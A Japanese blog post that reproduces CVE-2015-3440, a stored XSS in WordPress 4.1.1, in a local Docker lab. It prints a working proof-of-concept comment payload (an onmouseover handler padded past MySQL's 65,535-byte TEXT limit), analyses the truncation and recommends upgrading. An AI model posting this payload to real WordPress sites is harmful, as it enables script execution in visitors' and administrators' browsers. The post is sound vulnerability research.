モチベーション

XSSについて語る後輩に鼓舞された

CVE-2015-3440とは

CVE-2015-3440はXSSに関する脆弱性であり、WordPressに投稿された記事のコメント欄にjavascriptと大量の文字列を一緒に投稿することでコメント欄を表示したユーザのブラウザ上で任意のjavascriptを実行出来るというもの。これは、コメント欄の値を保持するMySQLのカラムTypeの最大サイズを超す文字列が書かれた時、その文字列を適切に処理できないために起こる。会社の後輩がこの脆弱性について話していたのだが、途中からロジックがわからくなり自分でも検証したくなった。

環境の準備

以下の環境を用意する。

---------------------------------------
| WordPres Container| MySQL Container |
|-------------------------------------|
|               Docker                |
|-------------------------------------|
|     Vagrant Ubuntu (VirtualBox)     |
|-------------------------------------|
|               MacOS X               |
--------------------------------------- 

ローカルのvagrant box listに保存されているubuntu14_04を使う。

$ vagrant init ubuntu14_04 

Vagrantfileを編集する。

# 以下の行を追加する
Vagrant.configure(2) do |config|
...
  config.vm.network "forwarded_port", guest: 80, host: 8080
  config.vm.network "forwarded_port", guest: 80, host: 3306
...
  config.vm.network "private_network", ip: "192.168.33.10"
end

VMを起動して環境情報を確認、最新化、Dockerのインストールを行う。

$ vagrant up
$ vagrant ssh
vagrant@vagrant-ubuntu-trusty-64:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.1 LTS
Release:        14.04
Codename:       trusty


vagrant@vagrant-ubuntu-trusty-64:~$ uname -a
Linux vagrant-ubuntu-trusty-64 3.13.0-43-generic #72-Ubuntu SMP Mon Dec 8 19:35:06 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

vagrant@vagrant-ubuntu-trusty-64:~$ sudo apt-get update
vagrant@vagrant-ubuntu-trusty-64:~$ sudo apt-get upgrade

vagrant@vagrant-ubuntu-trusty-64:~$ wget -qO- https://get.docker.com/ | sh 

Dockerのインストールが成功しているかテストする。

vagrant@vagrant-ubuntu-trusty-64:~$ sudo docker run hello-world

Hello from Docker.
This message shows that your installation appears to be working correctly.

続いて、MySQLとWordPressのコンテナを作成する。MySQLWordPressもDocker Hubに公式イメージがあるのでそちらを利用する。また、CVE-2015-3440はMySQL5.5.41、WordPress 4.1.1で確認されているので同じバージョンのイメージを使う。

vagrant@vagrant-ubuntu-trusty-64:~$ sudo docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=test -d mysql:5.5.41
vagrant@vagrant-ubuntu-trusty-64:~$ sudo docker run --name some-wordpress --link some-mysql:mysql -p 80:80 -d wordpress:4.1.1

MySQLとWordPressのコンテナができたら、最後にMacのブラウザからlocalhost:8080にアクセスしてWordPressのインストールする。ここはフォームに情報を入力するだけなので割愛する(ユーザ名:tester、ユーザパスワード:test、email:test@example.comとした)。

脆弱性検証

1. 新規記事の作成

構築した環境で脆弱性検証を行う。まずは管理者でWordPressにログインをして新規記事を投稿する。

20150704_crete_a_new_articie

2. XSSコードの設置

続いて攻撃者の視点からXSSのコードをWordPressの記事のコメント欄に投稿する。PoCは以下の通り。

<a title='x onmouseover=eval(alert(unescape(/hello%20world/.source)))  style="position:absolute;left:0;top:0;width:5000px;height:5000px;"   AAAAA..[65,535Byte以上の文字列]..AAAAA'></a>

66kBの文字列を出力するのは適当にプログラムにさせる。

# Ruby
66000.times do
  print "A"
end

こんな感じでPoCをコメントとして投稿する。

20150704_post_malicious_script

3. XSSの動作確認

再度、管理者としてWordPressにログインした後、攻撃者のコメントを記事に乗せることを許可して、そのコメントを閲覧するとXSSが成功する。

20150704_xss_execute 上図では管理者のブラウザ上でXSSが実行されているが、第三者XSSが設置されたコメントページを閲覧した場合でも同様に被害を受ける。

脆弱性分析

このXSSはコメント欄に実行させたいjavascriptに続けて大量の文字を入力した時、65,535Byte以降の文字列がDBに保存されないこと、コメント欄に表示した時に文字列を適切に処理していない点を突いた攻撃である。65,535Byteというのは、WordPressコメント欄のデータを保持するMySQLのTEXT型の最大サイズ65,535 Byteのこと。実際にDB確認してみるとコメント欄のカラムに相当するcomment_contentがTEXT型になっている。

$ vagrant@vagrant-ubuntu-trusty-64:~$ sudo apt-get install mysql-server
$ vagrant@vagrant-ubuntu-trusty-64:~$ sudo docker inspect --format '{{ .NetworkSettings.IPAddress }}' some-mysql
172.17.0.30

$ vagrant@vagrant-ubuntu-trusty-64:~$ mysql -u root -p test -h 172.17.0.30

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| wordpress          |
+--------------------+

mysql> use wordpress;
mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+

mysql> describe wp_comments;
+----------------------+---------------------+------+-----+---------------------+----------------+
| Field                | Type                | Null | Key | Default             | Extra          |
+----------------------+---------------------+------+-----+---------------------+----------------+
| comment_ID           | bigint(20) unsigned | NO   | PRI | NULL                | auto_increment |
| comment_post_ID      | bigint(20) unsigned | NO   | MUL | 0                   |                |
| comment_author       | tinytext            | NO   |     | NULL                |                |
| comment_author_email | varchar(100)        | NO   | MUL |                     |                |
| comment_author_url   | varchar(200)        | NO   |     |                     |                |
| comment_author_IP    | varchar(100)        | NO   |     |                     |                |
| comment_date         | datetime            | NO   |     | 0000-00-00 00:00:00 |                |
| comment_date_gmt     | datetime            | NO   | MUL | 0000-00-00 00:00:00 |                |
| comment_content      | text                | NO   |     | NULL                |                |
| comment_karma        | int(11)             | NO   |     | 0                   |                |
| comment_approved     | varchar(20)         | NO   | MUL | 1                   |                |
| comment_agent        | varchar(255)        | NO   |     |                     |                |
| comment_type         | varchar(20)         | NO   |     |                     |                |
| comment_parent       | bigint(20) unsigned | NO   | MUL | 0                   |                |
| user_id              | bigint(20) unsigned | NO   |     | 0                   |                |
+----------------------+---------------------+------+-----+---------------------+----------------+

続いて、ブラウザに表示されるhtmlを確認していく。そもそもWordPressのコメント欄に正常なコメントを投稿した場合はどのようなhtmlが生成されるのだろうか。以下のように文字列のみをコメント投稿した場合、

# 投稿した通常のコメント
This is a regular comment from admin !!

このようなhtmlが生成される。これを見るとコメントは<p>内に挿入されている。

20150704_only_message(1)

以下のような<a>を含むコメントを投稿した場合、

# 投稿したタグつきのコメント
<a title='regular comment' > regular comment </a>

<p>内にネストする形で<a></a>が挿入される。

20150704_only_a_tag(2)

また、65,535Byteを超えない悪意のあるコードを投稿してみると、

# 投稿した成功しない悪意のあるコード
<a title='x onmouseover=eval(alert(unescape(/hello%20world/.source)))  style="position:absolute;left:0;top:0;width:5000px;height:5000px;"   AAAAAAAAAA'></a>

20150704_malicious_code_with_few_char(3)

同様に、<p>内にネストする形で<a></a>が挿入されていることがわかる。注目すべきなのは、攻撃コードの部分が全てtitle属性の文字列として処理されていること。これによりXSSは成功しない。

またこれらのコメントがDB上にどのように保存されている確認すると、投稿した時の文字列がそのまま保存されていることが確認出来た。

mysql> select comment_content from wp_comments;
+------------------+
| comment_content  |
+------------------+
| This is a regular comment from admin !!    |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
| <a title='regular comment'  rel="nofollow">regular comment </a>   |                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| <a title='x onmouseover=eval(alert(unescape(/hello%20world/.source)))  style="position:absolute;left:0;top:0;width:5000px;height:5000px;"   AAAAAAAAAA' rel="nofollow"></a>    |                                                                                          

一方で、攻撃が成功する投稿はDB上では、

| comment_content |
| <a title='x onmouseover=eval(alert(unescape(/hello%20world/.source)))  style="position:absolute;left:0;top:0;width:5000px;height:5000px;"   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ... AAAAAAAAAAAAAAAAAAAAAAAAA |

のように保存されている。これを見ると、コメント欄に記載した文字列のうち後半部分がDBに保存されていないことがわかる。また、ブラウザに表示されるhtmlを確認すると、

20150704_inspect_malicious_source1

20150704_inspect_malicious_source2

のようになっており、<p>の間に<a>が挿入されておらずWordPressが想定しているhtmlが生成されていない。<a>タグに注目すると、'x onmouseover=eval(alert(unescape(/hello%20world/.source))) style="position:absolute;left:0;top:0;width:5000px;height:5000px;" AAAAA..[65,535Byte以上の文字列]..AAAAA'がtitle属性として処理されておらず、title = "'x"mouseover="eval(alert(...))"、style=“position…“となっており、onmouseoverやstyleなど、コメント欄で本来許容されていない属性が利用出来てしまう。これらのことから、コメント欄の文字列処理の実装に不備があること確認できた。

このDBの型や文字列処理周辺の不具合はバージョン4.2.1で修正されており、該当部分のコードはここで確認できる。

対策方法

対策方法簡単でWordPressのバージョンを4.2.1以上にするだけ。古いバージョンをのWordPressを使っているひとはいち早くアップデートすることをお勧める。

まとめ

WordPressのXSSの脆弱性に関するCVE-2015-3440の検証を行った。文字列処理の不備を突く系の攻撃は良く目にするが、MySQLの型の制約を利用する攻撃は初めて見た。うーん勉強になる。今回利用したのPoCはただアラートを表示するだけのものだったが、本気で攻撃しようと思えば脆弱性を利用してなんでもできてしまう。(例えば、WebShellをアップロードしてウェブサーバの権限内でサーバを操作できる。管理者のパスワード変更とかはすぐにされてしまう)。また、他の脆弱性と組み合わてroot権限まで昇格可能なので、古いバージョンのWordPressを使っている人は今すぐバージョン4.2.2以上にアップデートすることをお勧めする。

おまけ

MySQLのTEXT型に対して追加実験

そもそも後輩の話を聞いてロジックがわからなかったのは、MySQLのTEXT型は最大サイズが65,535Byteで、最大サイズを超える文字列は破棄されることを知らなかったためである。実際に、65.535以上の文字列をMySQLに入れたら後半の文字列が破棄された。なるほど。

mysql> CREATE TABLE text_type_check(text TEXT);
mysql> INSERT INTO text_type_check(text) VALUES('test1');
mysql> SELECT * FROM text_type_check;
+-------+
| text  |
+-------+
| test1 |
+-------+

mysql> INSERT INTO text_type (text) VALUES ('AAA ..[66kB].. AAABBBBBBBBBBBBBBBBBBBBBB');
mysql> SELECT  * FROM text_type_check;

| text                                                   |
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |
...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |

参考

CVE-2015-3440について

PoC

MySQLのTEXTのサイズ

WebShell

XSSパターン 

その他

関連記事一覧や、コード修正箇所など * WordPress v4.2.1で修正された Stored XSS